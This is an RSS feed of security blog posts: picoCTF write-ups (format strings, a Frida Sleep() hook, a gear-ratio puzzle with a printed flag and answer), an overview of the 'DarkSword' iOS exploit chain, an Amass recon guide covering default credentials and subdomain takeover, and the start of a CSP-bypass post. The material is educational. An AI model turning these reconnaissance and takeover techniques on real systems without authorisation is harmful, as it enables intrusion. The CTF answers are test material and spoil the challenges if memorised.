<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rishav anand on Medium]]></title>
        <description><![CDATA[Stories by Rishav anand on Medium]]></description>
        <link>https://medium.com/@anandrishav2228?source=rss-f8151bc04079------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X4kyqXvgupr8jzW8DoC5Dw.jpeg</url>
            <title>Stories by Rishav anand on Medium</title>
            <link>https://medium.com/@anandrishav2228?source=rss-f8151bc04079------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 16:48:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anandrishav2228/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PicoCTF: Format String 0 — The Intended Way vs. The Fast Way]]></title>
            <link>https://medium.com/@anandrishav2228/picoctf-format-string-0-the-intended-way-vs-the-fast-way-18c4bc584615?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/18c4bc584615</guid>
            <category><![CDATA[students]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[money]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Sat, 19 Sep 2026 11:42:15 GMT</pubDate>
            <atom:updated>2026-09-19T11:42:15.205Z</atom:updated>
            <content:encoded><![CDATA[<p>If you are diving into the world of Binary Exploitation (Pwn), <strong>Format String Vulnerabilities</strong> are one of the most critical concepts to master. Today, we’re looking at <strong>Format String 0</strong> from PicoCTF.</p><p>While this challenge is designed to introduce format string specifiers, it also features an interesting twist where an alternative approach works just as well. Let’s break down both methods!</p><h3>🛠️ Challenge Overview</h3><ul><li><strong>Category:</strong> Binary Exploitation</li><li><strong>Objective:</strong> Pass the correct input to unlock/print the flag.</li><li><strong>Core Vulnerability:</strong> Unsanitized format string input passed directly into printing functions like printf() or sprintf().</li></ul><h3>Method 1: The Intended Solution (Understanding Format Strings)</h3><p>In C programming, functions like printf() expect a format string as their first argument (e.g., printf(&quot;%s&quot;, variable)). If a developer writes printf(user_input) instead, the user gains control over how memory is read or written.</p><h3>Step-by-Step Walkthrough:</h3><ol><li><strong>Analyzing the Binary Logic:</strong></li><li>When you connect to the challenge instance, the program prompts you with options or menu selections. The goal is to trigger a specific code block that leaks or prints the secret stored in memory.</li><li><strong>Inspecting the Code / Prompts:</strong></li><li>The program checks for input sizes and format specifiers. By analyzing the binary (or provided C source code), you’ll notice specific menu choices containing format specifiers like %p (to print pointers/memory addresses) or %s (to print strings).</li><li><strong>Selecting the Payload:</strong></li><li>By choosing the option containing valid format specifiers (e.g., %p or specific patterns that reach the buffer), the program evaluates the input, reads from the stack, and outputs the flag.</li></ol><h3>Method 2: The Shortcut Solution (Triggering the Signal Handler)</h3><p>Did you solve this challenge by simply sending a massive string or causing the program to crash, only to be awarded the flag anyway? <strong>You didn’t do it wrong — that’s a feature of the challenge design!</strong></p><h3>Why did a crash give you the flag?</h3><ol><li><strong>Signal Handlers in Beginner CTFs:</strong></li><li>To make beginner challenges less frustrating, CTF authors often attach a <strong>Signal Handler</strong> (like SIGSEGV or Segmentation Fault catching) inside the C code.</li><li><strong>The Crash Condition:</strong></li><li>When you send a very long input or corrupt memory addresses using unhandled format strings(%s) for more than 64 times , the binary encounters a <strong>Segmentation Fault</strong>.</li><li><strong>Catching the Fault:</strong></li><li>Instead of terminating quietly with Core Dumped, the challenge&#39;s signal handler catches the crash event and executes a fallback function that prints flag.txt to the terminal.</li></ol><h3>💡 Key Takeaways</h3><ul><li><strong>Unsanitized Inputs:</strong> Never pass raw user input directly to printf(). Always use printf(&quot;%s&quot;, input).</li><li><strong>CTF Mechanics:</strong> In entry-level CTFs, causing a controlled crash (SIGSEGV) can sometimes trigger signal handlers that reveal the flag.</li><li><strong>Moving Forward:</strong> While crashing works here, future challenges (<em>Format String 1, 2, 3</em>) will require precise memory reading (%p, %s) and arbitrary memory writing using %n.</li></ul><p>Happy Hacking! 🚩</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18c4bc584615" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Binary Instrumentation 1]]></title>
            <link>https://medium.com/@anandrishav2228/binary-instrumentation-1-ba2ed9114ce0?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba2ed9114ce0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[students]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 13:54:38 GMT</pubDate>
            <atom:updated>2026-09-14T13:54:38.977Z</atom:updated>
            <content:encoded><![CDATA[<p>CTF Write-up: Bypassing Binary Delays via Frida Hooking</p><h3>CTF Write-up: Bypassing Binary Delays via Frida Hooking</h3><p><strong>Category:</strong> Reverse Engineering / Dynamic Analysis</p><p><strong>Tools Used:</strong> Frida (frida-trace)</p><h3>1. Challenge Overview</h3><p>The target binary (bininst1.exe) implements execution delays using the Windows API Sleep function. These intentional delays slow down reverse engineering, execution flow, or automated analysis during dynamic execution.</p><p>The objective is to intercept and modify the sleep duration at runtime so the program executes instantly.</p><h3>2. Analysis &amp; Methodology</h3><p>When a Windows executable calls Sleep, it relies on exports from system libraries—typically KERNEL32.DLL or KERNELBASE.dll. The C signature for Sleep is:</p><p>JS: This is the default code that we have to change because sleep timing is not defined here at all, so in the next step we have to enter the sleep end timing</p><pre>/*<br> * Auto-generated by Frida. Please modify to match the signature of Sleep.<br> * This stub is currently auto-generated from manpages when available.<br> *<br> * For full API reference, see: https://frida.re/docs/javascript-api/<br> */<br><br>{<br>  /**<br>   * Called synchronously when about to call Sleep.<br>   *<br>   * @this {object} - Object allowing you to store state for use in onLeave.<br>   * @param {function} log - Call this function with a string to be presented to the user.<br>   * @param {array} args - Function arguments represented as an array of NativePointer objects.<br>   * For example use args[0].readUtf8String() if the first argument is a pointer to a C string encoded as UTF-8.<br>   * It is also possible to modify arguments by assigning a NativePointer object to an element of this array.<br>   * @param {object} state - Object allowing you to keep state across function calls.<br>   * Only one JavaScript function will execute at a time, so do not worry about race-conditions.<br>   * However, do not use this to store function arguments across onEnter/onLeave, but instead<br>   * use &quot;this&quot; which is an object for keeping state local to an invocation.<br>   */<br>  onEnter(log, args, state) {<br>    log(&#39;Sleep()&#39;);<br>  },<br><br>  /**<br>   * Called synchronously when about to return from Sleep.<br>   *<br>   * See onEnter for details.<br>   *<br>   * @this {object} - Object allowing you to access state stored in onEnter.<br>   * @param {function} log - Call this function with a string to be presented to the user.<br>   * @param {NativePointer} retval - Return value represented as a NativePointer object.<br>   * @param {object} state - Object allowing you to keep state across function calls.<br>   */<br>  onLeave(log, retval, state) {<br>  }<br>}</pre><p>Since standard Sleep accepts a single parameter (dwMilliseconds), the execution duration is controlled by the first function argument (args[0]). By placing a dynamic hook on the Sleep export, we can overwrite args[0] with 0 before the original API call executes.</p><h3>3. Dynamic Hooking with Frida</h3><p>We generate script stubs for Sleep across both KERNEL32.DLL and KERNELBASE.dll using frida-trace:</p><p>DOS</p><pre>frida-trace -i Sleep -f bininst1.exe</pre><p>Frida generates handler scripts under __handlers__/KERNEL32.DLL/Sleep.js and __handlers__/KERNELBASE.dll/Sleep.js.</p><h3>Handler Script (Sleep.js)</h3><p>Modify both handler files; this will change the sleep time from a decade to 0 seconds</p><p>Modify the onEnter hook to reassign args[0] to 0:</p><p>JavaScript</p><pre>/*<br> * Frida Hook: Overriding Sleep duration<br> */</pre><pre>{<br>  onEnter(log, args, state) {<br>    log(&#39;[+] Intercepted Sleep()&#39;);<br>    log(&#39;    [-] Original Duration: &#39; + args[0].toInt32() + &#39; ms&#39;);</pre><pre>    // Overwrite the first argument (dwMilliseconds) to 0<br>    args[0] = ptr(&quot;0x0&quot;); //sleep duration</pre><pre>    log(&#39;    [+] Modified Duration: 0 ms&#39;);<br>  },</pre><pre>  onLeave(log, retval, state) {<br>  }<br>}</pre><h3>4. Execution &amp; Results</h3><p>Re-running frida-trace with the modified hook forces all calls to Sleep to return immediately:</p><p>DOS</p><pre>frida-trace -i Sleep -f bininst1.exe</pre><h3>Trace Output</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XGGpL7XOoQLadM8IMwCFTQ.png" /></figure><p>Plaintext</p><pre>1234 ms  Sleep()<br>  1234 ms  [+] Intercepted Sleep()<br>  1234 ms      [-] Original Duration: 10000 ms<br>  1234 ms      [+] Modified Duration: 0 ms</pre><p>The application bypasses the 10-second pause instantly, allowing rapid execution and revealing the flag / next stage of the binary.</p><p>Take the box text and paste this to the Base64 decoder and you get the flag</p><p>picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}</p><h3>5. Key Takeaways</h3><ul><li><strong>Parameter Modification:</strong> In Frida’s onEnter callback, function arguments are accessible via the args array and can be mutated before execution reaches the target function.</li><li><strong>API Redundancy:</strong> On modern Windows versions, KERNEL32.DLL functions often forward to KERNELBASE.dll or ntdll.dll (NtDelayExecution). Hooking both ensures full coverage.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba2ed9114ce0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Virtual Machine 1 (Pico CTF)]]></title>
            <link>https://medium.com/@anandrishav2228/virtual-machine-1-pico-ctf-1ef92c5bba7b?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ef92c5bba7b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[students]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 12:27:40 GMT</pubDate>
            <atom:updated>2026-09-14T12:27:40.285Z</atom:updated>
            <content:encoded><![CDATA[<p>This challenge falls under the hard category.</p><p>You’ll need to think like a designer and a mathematician, and figure out how the mechanism works.</p><p>Prerequisites:</p><ol><li><a href="https://3dviewer.net/index.html#">https://3dviewer.net/index.html#</a> (online .dea opener)</li><li>Kali Linux</li><li>CTF Knowledge</li><li>Learning Enthusiasm</li><li>For calculating compounding gear</li></ol><ul><li><strong>Engineering LibreTexts — Gear Trains:</strong> Engineering LibreTexts — Gear Trains</li><li><strong>Wikipedia — Gear ratio:</strong> <a href="https://en.wikipedia.org/wiki/Gear_ratio?utm_source=chatgpt.com">Gear ratio — Wikipedia</a></li><li><strong>Wikipedia — Differential:</strong> Differential (mechanical device) — Wikipedia</li></ul><h3>Lets Start</h3><h3>Challenge Overview</h3><p>We are given a VirtualMachine1.dae file. The file is a <strong>COLLADA 3D model</strong> containing a mechanical machine made of multiple gears.</p><p>The challenge tells us:</p><ul><li>The <strong>red axle</strong> is the input.</li><li>The <strong>blue axle</strong> is the output.</li><li>We need to reverse engineer the gear mechanism and determine how many rotations of the input produce one rotation of the output.</li></ul><h3>Step 1 — Open the .dae file</h3><p>The .dae file can be opened using <a href="https://3dviewer.net/"><strong>Blender</strong>.</a></p><p>After importing the model, we can see that the machine consists of multiple gears connected through different axles.</p><p>The supporting structure is missing, but this does not matter because we only need to understand the gear connections.</p><h3>Step 2 — Calculate Gear Ratios</h3><p>For two meshing gears, the rotation ratio is determined by their number of teeth.</p><p>Count the blue one it’s24 teeth</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*QxOGJZ9t5aH_y6DgZDu09g.png" /></figure><p>And now calculate the driven teeth, which is 8 in count now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*X1xE3rr6fffRIxWdjSZxtQ.png" /></figure><p>Now:</p><pre>Driver gear = 24 teeth<br>Driven gear = 8 teeth</pre><p>The ratio is:</p><pre>24 / 8 = 3</pre><p>Therefore, the driven gear rotates 3 times for every one rotation of the driving gear.</p><p>For gears connected to the same shaft, their rotations are transferred together. Therefore, the ratios of multiple gear stages can be multiplied.</p><h3>Step 3 — Follow the Complete Mechanism</h3><p>We trace the mechanism from the <strong>red input axle</strong> toward the <strong>blue output axle</strong>.</p><p>The machine contains several gear stages and a differential-like section. Therefore, simply following one visible gear path gives an incorrect result.</p><p>After accounting for the complete gear train and the differential mechanism, the overall transmission ratio becomes:</p><pre>Red axle (input) : Blue axle (output)<br>1 : 9359</pre><p>Therefore:</p><pre>1 input rotation = 9359 output rotations</pre><p>So the formula for the checker is:</p><pre>Output = Input × 9359</pre><h3>Step 4 — Calculate the Given Input</h3><p>For example, if the checker gives:</p><pre>Input = 5211</pre><p>we calculate:</p><pre>5211 × 9359</pre><p>which gives:</p><pre>48,769,749</pre><p>Therefore the answer entered into the checker is:</p><pre>48769749</pre><p>Insert this in place of the answer, and you will get the flag as I get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*emnAEz-R1zuzPvSfBpfebw.png" /></figure><h3>Conclusion</h3><p>The important part of the challenge is not the missing machine structure, but understanding the <strong>gear ratios and how the gears are connected</strong>.</p><p>The final transmission ratio is:</p><pre>1 : 9359</pre><p>Hence:</p><pre>Output = Input × 9359</pre><p>For input 5211:</p><pre>Output = 48769749</pre><h3>Calculating the Gear Ratio</h3><p>The .dae file contains a complex gear mechanism. I opened the model in Blender and traced the mechanism from the <strong>red input axle</strong> to the <strong>blue output axle</strong>.</p><p>For a pair of meshing gears, the speed ratio is:</p><p>[<br>R = \frac{T_{driver}}{T_{driven}}<br>]</p><p>where T is the number of teeth.</p><p>For example, if a 24-tooth gear drives an 8-tooth gear:</p><p>[<br>R = \frac{24}{8}=3<br>]</p><p>So the driven gear rotates 3 times for every rotation of the driver.</p><p>For compound gears, the ratios of the individual stages are multiplied:</p><p>[<br>R_{total}=R_1\times R_2\times R_3…<br>]</p><p>While tracing the model, I labelled the gears according to their number of teeth and calculated the ratio for each stage. Idler gears only change the direction of rotation, so they do not change the magnitude of the ratio.</p><p>The mechanism also contains a <strong>differential gear section</strong>. This is important because the two branches cannot simply be treated as one normal gear chain. The differential combines the motion of its branches, so the final calculation has to account for this section as well.</p><p>A straightforward calculation of the visible stages initially gives an incorrect ratio of 12960. This indicates that the differential section has not been handled correctly. After accounting for the differential and rechecking the gear connections, the final transmission ratio is:</p><p>[<br>\boxed{R=9359}<br>]</p><p>Therefore:</p><p>[<br>\boxed{1\text{ input rotation}=9359\text{ output rotations}}<br>]</p><p>So the checker can be solved using:</p><p>[<br>\boxed{Output=Input\times9359}<br>]</p><p>For example, when the checker gives:</p><pre>Input = 5211</pre><p>we calculate:</p><p>[<br>5211\times9359=48,769,749<br>]</p><p>Therefore the answer submitted to the checker is:</p><pre>48769749</pre><p>The key lesson is that the challenge is not just a simple gear chain. The <strong>compound gears and especially the differential section</strong> must be considered when calculating the final transmission ratio.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ef92c5bba7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Rise of DarkSword: Unpacking the Next-Generation iOS Exploit Kit]]></title>
            <link>https://medium.com/@anandrishav2228/the-rise-of-darksword-unpacking-the-next-generation-ios-exploit-kit-053dc7910b1a?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/053dc7910b1a</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ios]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 05:20:41 GMT</pubDate>
            <atom:updated>2026-08-04T05:22:07.051Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*v7zKZQOk9jn7sUiqEVBSLQ.jpeg" /></figure><p>Ever heard of this?? iPhones also can be hackable</p><p>The mobile security landscape shifted dramatically following the discovery of <strong>DarkSword</strong>, an advanced, government-grade iOS exploit kit. Originally uncovered by threat researchers — including Google’s Threat Intelligence Group (GTIG), Lookout, and iVerify — DarkSword represents a sophisticated evolution in mobile zero-day frameworks, capable of compromising iOS devices with zero to minimal user interaction.</p><h3>What is DarkSword?</h3><p><a href="https://cloud.google.com/topics/threat-intelligence">DarkSword</a> is a fileless, full-chain exploit kit delivered primarily through Safari browser components via watering hole attacks. By injecting malicious iframe elements into compromised, high-traffic websites, attackers can silently target vulnerable iPhone users without requiring them to download suspicious files or click multi-step prompts.</p><blockquote><strong><em>Key Threat Overview:</em></strong></blockquote><ul><li><strong>Target Operating Systems:</strong> iOS versions 17.x through 18.7.</li><li><strong>Affected Devices:</strong> iPhone XS through modern iPhone models.</li><li><strong>Primary Vectors:</strong> Watering hole websites, malicious JavaScript execution, and WebGPU/WebKit zero-days.</li><li><strong>Secondary Payloads:</strong> Infostealers (such as GHOSTBLADE) used to steal credentials, crypto wallets, and personal messages.</li></ul><h3>How DarkSword Operates: The Kill Chain</h3><p>DarkSword relies on a chained sequence of vulnerabilities that systematically dismantle Apple’s multi-layered security defenses.</p><pre>[ Compromised Webpage ] ➔ [ WebKit/WebContent RCE ] ➔ [ Sandbox Escape ] ➔ [ Kernel R/W ] ➔ [ Data Exfiltration ]</pre><h3>1. Initial Access &amp; Sandbox Breakout</h3><p>When a target visits an infected webpage, JavaScript payloads break out of the initial <strong>WebContent</strong> sandbox. The exploit leverages WebGPU and JavaScriptCore (JSC) memory corruption to gain arbitrary read/write access within browser memory.</p><h3>2. Kernel Privilege Escalation</h3><p>Once code execution inside WebKit is established, DarkSword triggers additional socket/networking vulnerabilities (such as ICMPv6 socket misconfigurations) to gain full kernel read/write access, bypassing Pointer Authentication Codes (PAC) and Kernel Address Space Layout Randomization (KASLR).</p><h3>3. Post-Exploitation &amp; Payload Injection</h3><p>After achieving root/kernel privileges, the exploit kit injects malicious code directly into system processes such as SpringBoard, securityd, and wifid. Before concluding, the kit cleans up temporary traces to operate entirely in-memory and evade detection.</p><h3>Technical Exploitation Summary</h3><p>| Stage | Mechanism / Vulnerability | Defenses Bypassed |<br><br>| WebContent RCE | JavaScriptCore type confusion | ASLR, W^X, PAC, JIT Cage |</p><p>| Kernel Read/Write| Socket option manipulation | KASLR, Zone Protections</p><p>| Sandbox Escape| `launchd` token &amp; extension data corruption | App Sandbox |</p><p>| Data Harvesting| Process injection into system services (`securityd`, etc.) | Keychain Protection, File Access Controls |</p><h3>What Data Does It Target?</h3><p>Once a device is compromised, DarkSword deploys specialized infostealers to harvest high-value user data:</p><ul><li><strong>Credentials &amp; Passwords:</strong> Stolen directly from the iOS Keychain (securityd).</li><li><strong>Communications:</strong> SMS logs, call histories, contacts, and voicemail records.</li><li><strong>Financial Assets:</strong> Crypto wallet private keys and session tokens (e.g., Coinbase, Binance, MetaMask, Phantom).</li><li><strong>Sensitive Media &amp; Docs:</strong> Photos, location history, health data, and stored iCloud documents.</li><li><strong>Network Credentials:</strong> Saved Wi-Fi access passwords via wifid process injection.</li></ul><h3>Defense &amp; Mitigation Strategies</h3><p>Because DarkSword exploits zero-day vulnerabilities across the Safari stack, standard antivirus tools on mobile devices are often ineffective. Security organizations recommend the following measures:</p><ul><li><strong>Keep iOS Updated:</strong> Ensure devices are updated to the latest available iOS build. Emergency software patches from Apple contain fixes for the underlying WebKit and kernel vulnerabilities.</li><li><strong>Enable Lockdown Mode:</strong> High-risk users (journalists, executives, political figures) should turn on <strong>Lockdown Mode</strong> (<em>Settings &gt; Privacy &amp; Security &gt; Lockdown Mode</em>), which severely restricts complex web technologies like WebGPU and JIT compilation.</li><li><strong>Network Filtering:</strong> Organizations should deploy Mobile Threat Defense (MTD) solutions capable of detecting malicious web traffic and domain reputation anomalies associated with watering hole operations.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=053dc7910b1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Still Confused by Amass or Can’t Understand Its Results, This Is for You]]></title>
            <link>https://medium.com/@anandrishav2228/still-confused-by-amass-or-cant-understand-its-results-this-is-for-you-a37c8108a21d?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/a37c8108a21d</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[students]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 07:48:39 GMT</pubDate>
            <atom:updated>2026-06-22T07:48:39.451Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxPOmkIFFULnsvXJUXvZsw.png" /></figure><p>Discovering the attack surface of a target is arguably the most critical phase of any penetration test or bug bounty hunt. If you don’t know an asset exists, you can’t test it for vulnerabilities. For years, <strong>OWASP Amass</strong> has been celebrated as the gold standard for asset discovery and subdomain enumeration.</p><p>Yet, for many researchers, running Amass for the first time feels like staring directly into the Matrix. You execute a command, and your terminal floods with lines of arrow-separated networks, cryptographic-looking strings, and DNS jargon.</p><p>If you have struggled to run Amass effectively, or if you look at its output and think, <em>“What am I even looking at?”</em> — you are not alone. This guide is your definitive blueprint to mastering Amass, breaking down its output, and leveraging that data like a pro.</p><h3>1. Demystifying the Output: What Amass Is Actually Telling You</h3><p>When you run a passive scan, Amass doesn’t just spit out a flat list of subdomains. Instead, it builds an infrastructure dependency graph. It maps how a domain connects to an IP, how that IP sits inside a network block, and who owns that network.</p><p>Let’s look at a realistic sample output and break it down line-by-line:</p><p>Plaintext</p><pre>google.com (FQDN) --&gt; mx_record --&gt; smtp.google.com (FQDN)<br>accelerator.google.com (FQDN) --&gt; a_record --&gt; 142.251.216.46 (IPAddress)<br>datafusion.cloud.google.com (FQDN) --&gt; cname_record --&gt; www3.l.google.com (FQDN)<br>142.250.0.0/15 (Netblock) --&gt; contains --&gt; 142.251.216.46 (IPAddress)<br>15169 (ASN) --&gt; announces --&gt; 142.250.0.0/15 (Netblock)</pre><p>We can categorize these relationships into three core layers:</p><h3>The DNS Layer</h3><ul><li><strong>FQDN (Fully Qualified Domain Name):</strong> This is simply a specific subdomain or host address.</li><li><strong>a_record (IPv4) &amp; </strong><strong>aaaa_record (IPv6):</strong> This maps a subdomain to its actual host server&#39;s IP address.</li><li><strong>Example:</strong> accelerator.google.com resolves directly to the server at 142.251.216.46.</li><li><strong>cname_record (Canonical Name):</strong> Think of this as an alias or redirect. It means one subdomain points to another backend domain for load balancing or third-party hosting.</li><li><strong>mx_record (Mail Exchange):</strong> Points to the servers handling email traffic for that domain.</li></ul><h3>The Routing &amp; Infrastructure Layer</h3><ul><li><strong>Netblock (CIDR Notation):</strong> Servers rarely sit alone; they belong to groups of IP ranges called netblocks (e.g., 142.250.0.0/15). Amass tells you exactly which &quot;neighborhood&quot; a server IP resides in.</li><li><strong>ASN (Autonomous System Number):</strong> This is a collection of IP networks controlled by a single giant entity (like an ISP or a tech giant). ASN 15169 belongs entirely to Google LLC.</li></ul><h3>Why this matters:</h3><p>Amass maps the entire logical pipeline:</p><p>$$\text{Subdomain} \longrightarrow \text{IP Address} \longrightarrow \text{Netblock Range} \longrightarrow \text{ASN Owner}$$</p><h3>2. From Data to Bugs: The Pro Researcher’s Action Plan</h3><p>Amass has given you raw data. What does a top-tier security researcher do next? They run it through a systematic pipeline to turn strings of text into high-impact vulnerabilities.</p><pre>[ Amass Output ] ──&gt; [ httpx Probing ] ──&gt; [ Filtering Dev/Stage ] ──&gt; [ Directory Brute-Force ]</pre><h3>Step 1: Probe for Live Targets (httpx)</h3><p>Amass pulls historical data passively, meaning some subdomains it finds might be dead or offline. Do not scan blindly. Use a tool like httpx to verify which subdomains are actively listening on web ports.</p><p>Bash</p><pre>cat subdomains.txt | httpx -title -tech-detect -status-code -o live_subs.txt</pre><ul><li><strong>The Goal:</strong> Isolate hostnames returning 200 OK, 403 Forbidden, or 401 Unauthorized statuses.</li></ul><h3>Step 2: Target Dev, Staging, and Pre-production Environments</h3><p>Look closely at the names Amass uncovers. Subdomains containing words like dev, stage, alpha, test, or corp are absolute goldmines. Developers frequently disable strict authentication or leave debugging modes active on these endpoints.</p><ul><li><strong>What to look for:</strong> Look for exposed internal management consoles, unauthenticated setups, or default credentials (e.g., admin:admin).</li></ul><h3>Step 3: Check for Dangling CNAMEs (Subdomain Takeover)</h3><p>Pay strict attention to cname_record entries pointing to third-party services like AWS S3, GitHub Pages, Zendesk, or Shopify.</p><ul><li><strong>The Bug:</strong> If a company points help.target.com to a Zendesk instance via a CNAME, but later deletes that Zendesk instance without removing the DNS record, <em>you</em> can sign up on Zendesk, claim that space, and completely control help.target.com.</li></ul><h3>Step 4: Network Infrastructure Mapping (Port Scanning)</h3><p>When Amass gives you a tight Netblock owned directly by the target, don’t just focus on standard web traffic. Run focused port scans across those specific IPs.</p><ul><li><strong>What to look for:</strong> Look for database instances exposed directly to the internet (e.g., MySQL on port 3306 or PostgreSQL on 5432), unauthenticated Redis clusters, or vulnerable legacy versions of SSH/FTP.</li></ul><h3>Conclusion</h3><p>OWASP Amass is not just a subdomain scraper; it is an architectural cartographer. By understanding its output format, recognizing how DNS records tie into ASN routing networks, and systematically funneling its findings into active verification tools, you transition from running simple commands to orchestrating professional security assessments.</p><p>Stop looking at the data as random text. Treat it as a map of an enterprise’s digital footprint, and follow the trails to find your next critical vulnerability.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a37c8108a21d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[(CSP) Common Bypass Techniques fo]]></title>
            <link>https://medium.com/@anandrishav2228/csp-common-bypass-techniques-fo-c890144e4432?source=rss-f8151bc04079------2</link>
            <guid isPermaLink="false">https://medium.com/p/c890144e4432</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rishav anand]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 05:30:00 GMT</pubDate>
            <atom:updated>2026-01-06T05:30:00.360Z</atom:updated>
            <content:encoded><![CDATA[<h3>(CSP) Common Bypass Techniques for XSS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*ltMsNodAvIOKCl416Il_Qw.jpeg" /></figure><h3>What is Content Security Policy (CSP)?</h3><p>Content Security Policy (CSP) is a browser-enforced security mechanism designed to mitigate risks from code injection attacks, particularly <strong>Cross-Site Scripting (XSS)</strong>. It allows web developers to control which resources (scripts, styles, images, etc.) a webpage can load and execute. Delivered via the Content-Security-Policy HTTP header or a &lt;meta&gt; tag, CSP instructs the browser to restrict resource loading based on defined rules.</p><p>CSP acts as a <strong>defense-in-depth</strong> layer: it doesn’t replace proper input validation and output encoding but reduces the impact of XSS by blocking malicious scripts from executing, even if injected.</p><h3>Key Directives and Examples</h3><p>CSP policies consist of directives that specify allowed sources for different resource types. Common directives include:</p><ul><li><strong>default-src</strong>: Fallback policy for unspecified resource types.</li><li><strong>script-src</strong>: Controls JavaScript sources (most critical for XSS mitigation).</li><li><strong>style-src</strong>: Controls CSS sources.</li><li><strong>img-src</strong>: Controls image sources.</li><li><strong>object-src</strong>: Controls plugins (e.g., Flash).</li><li><strong>frame-src</strong>: Controls iframes.</li><li><strong>base-uri</strong>: Controls &lt;base&gt; element usage.</li><li><strong>report-uri / report-to</strong>: Sends violation reports.</li></ul><p><strong>Source keywords</strong>:</p><ul><li>‘self’: Allows resources from the same origin.</li><li>‘none’: Blocks all.</li><li>‘unsafe-inline’: Allows inline scripts/styles (dangerous for XSS).</li><li>‘unsafe-eval’: Allows eval() and similar (risky).</li><li>‘strict-dynamic’: Propagates trust from parent scripts (used with nonces/hashes).</li><li>nonce-&lt;value&gt;: Allows specific inline elements with matching nonce.</li><li>sha256-&lt;hash&gt;: Allows scripts/styles matching the hash.</li><li>Hostnames, wildcards (*), or schemes (e.g., https:).</li></ul><p><strong>Basic Example</strong>:</p><p>text</p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39; https://cdn.example.com; img-src &#39;self&#39; data:;</pre><p>This allows scripts only from the site itself and a trusted CDN, images from the site or data URIs.</p><p><strong>Strict Nonce-Based Example</strong> (recommended for modern apps):</p><p>text</p><pre>Content-Security-Policy: script-src &#39;nonce-random123&#39; &#39;strict-dynamic&#39;; object-src &#39;none&#39;; base-uri &#39;none&#39;;</pre><p>Inline scripts need &lt;script nonce=”random123&quot;&gt;…&lt;/script&gt;.</p><p>CSP Level 3 adds features like ‘strict-dynamic’ to ease third-party script integration without broad whitelists.</p><h3>Why CSP Matters for XSS and Other Vulnerabilities</h3><p>XSS occurs when attackers inject malicious scripts into a page, executing in the victim’s context (e.g., stealing cookies). CSP blocks unauthorized script loading/execution, mitigating reflected, stored, and DOM-based XSS. It also helps against clickjacking (via 